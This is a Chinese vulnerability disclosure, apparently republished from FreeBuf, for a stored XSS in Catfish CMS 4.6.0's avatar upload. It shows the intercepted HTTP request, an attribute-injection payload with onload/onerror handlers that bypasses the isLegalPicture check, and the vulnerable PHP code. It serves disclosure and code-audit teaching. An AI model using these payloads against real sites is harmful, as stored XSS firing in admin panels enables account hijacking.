鲶鱼CMS存储XSS漏洞披露

概述

Catfish(鲶鱼) CMS是一款开源的PHP内容管理系统。这个cms是十月我和学长小胡子一起审计的。所以在这里声明下,洞是他找的,他不善言辞,授权给我来写文章。漏洞已提交给厂商,同意公开此漏洞。

XSS漏洞点

这里的版本是V4.6.0。出问题的地方是头像上传这个地方,这个cms以前爆过一枚任意文件删除漏洞也是这里。

  1. 先注册一个普通用户
  2. 登录,上传一张头像。
  3. 上传成功后开启抓包,点击“头像保存”。

抓到数据如下

修改

POST /daimashenji/CatfishCMS-4.6.0/index.php/user/index/touxiang.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
Referer: http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/index.php/user/index/touxiang.html
Cookie: think_var=zh-cn; PHPSESSID=uo2u29h3sf9er6bj9f3d36rj80
Connection: close
Upgrade-Insecure-Requests: 1

avatar=http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/data/uploads/20171109/022d804c4ea9af66c1a1f901d7c0b6a1.png" onload="alert(1)" a="1.jpg&fileselect%5B%5D=

回显

管理员后台浏览普通用户管理

成功x到后台!

相关代码跟进

CatfishCMS-4.6.0/application/admin/controller/Index.php页面代码,96行

这个函数对传入的avatar参数进行检验,继续跟进

位于CatfishCMS-4.6.0/application/admin/controller/Common.php页面,313行

 protected function isLegalPicture($picture)
    {
        if(stripos($picture,'>') === false)
        {
            $pathinfo = pathinfo($picture);
            if(isset($pathinfo['extension']))
            {
                if(in_array($pathinfo['extension'],['jpeg','jpg','png','gif']) && stripos($pathinfo['dirname'],'/data/') !== false)
                {
                    return true;
                }
            }
        }
        return false;
    }

三个限制:

  1. 参数不能含有 “>”
  2. 要以jpeg,jpg,png,gif 结尾
  3. 要含有 “/data/“ 路径

观察原来输出点,是以双引号进行闭合,触发事件可以onload或者onerror或者其他,以.jpg结尾。所以我们payload为:

avatar=[http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/data/uploads/20171109/test.png](http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/data/uploads/20171109/test.png)" onerror="alert(2)" a="1.jpg

一点感悟

最近看到大佬们在微博说的几句: 如果某个地方爆出了洞,就可以往这个地方深挖。因为最后讲道理程序会出问题不仅仅是代码的问题,而是人的问题。

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-11-19

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏逸鹏说道

Javascript缓存投毒学习与实战

0x00 起因 不久前@三好学生师傅买了一个wooyun wifi,然后聊到了缓存投毒: ? 然后看到wooyun wifi的这个说明: 默认情况下该功能附带缓...

4525
来自专栏Debian社区

MX Linux 17 Beta 1 发布,基于 Debian 的发行版

MX Linux 是基于 Debian 稳定分支的面向桌面的 Linux 发行,它是 antiX 及早先的 MEPIS Linux 社区合作的产物。它采用 Xf...

531
来自专栏那些年遇到的坑

使用eventBus事件的重复触发事件问题的解决

在单页应用中,在 A 页面中触发事件,然后在 B 页面中对这个事件进行响应是一个很常见的需求,那么当有这种需求的时候要怎么实现呢。有两种方案可以实现:

2743
来自专栏抠抠空间

Django项目实战之用户头像上传与访问

1 将文件保存到服务器本地 upload.html <!DOCTYPE html> <html lang="en"> <head> <meta char...

5147
来自专栏mukekeheart的iOS之旅

《从零开始做一个MEAN全栈项目》(3)

欢迎关注本人的微信公众号“前端小填填”,专注前端技术的基础和项目开发的学习。   上一篇文章给大家讲了一下本项目的开发计划,这一章将会开始着手搭建一个MEAN项...

2874
来自专栏Flutter入门到实战

Flutter从配置安装到填坑指南详解

在 Google I/O ’17 上,Google 向我们介绍了 Flutter —— 一款新的用于创建移动应用的开源库。

2.5K5
来自专栏前端之心

解决 "Script Error" 的另类思路

前端的同学如果用 window.onerror 事件做过监控,应该知道,跨域的脚本会给出 "Script Error." 提示,拿不到具体的错误信息和堆栈信息。

81048
来自专栏魏艾斯博客www.vpsss.net

wordpress 手动更新方法记录

2794
来自专栏君赏技术博客

我和flow.ci的第一次亲密接触

这不是第一次听说flow.ci,记得当时fir.im新出这个服务的时候,我也是心情十分激动的去尝试,结果是只支持安卓,我可以iOS的程序员呀!

1061
来自专栏老马寒门IT

05-移动端开发教程-CSS3兼容处理

CSS3的标准并没有全部定稿,目前CSS3的标准分成了不同的模块,具体的标准由各个模块推动标准和定稿,标准制定的过程中,浏览器也在不断的发新的版本来兼容新的标准...

37712

扫码关注云+社区

领取腾讯云代金券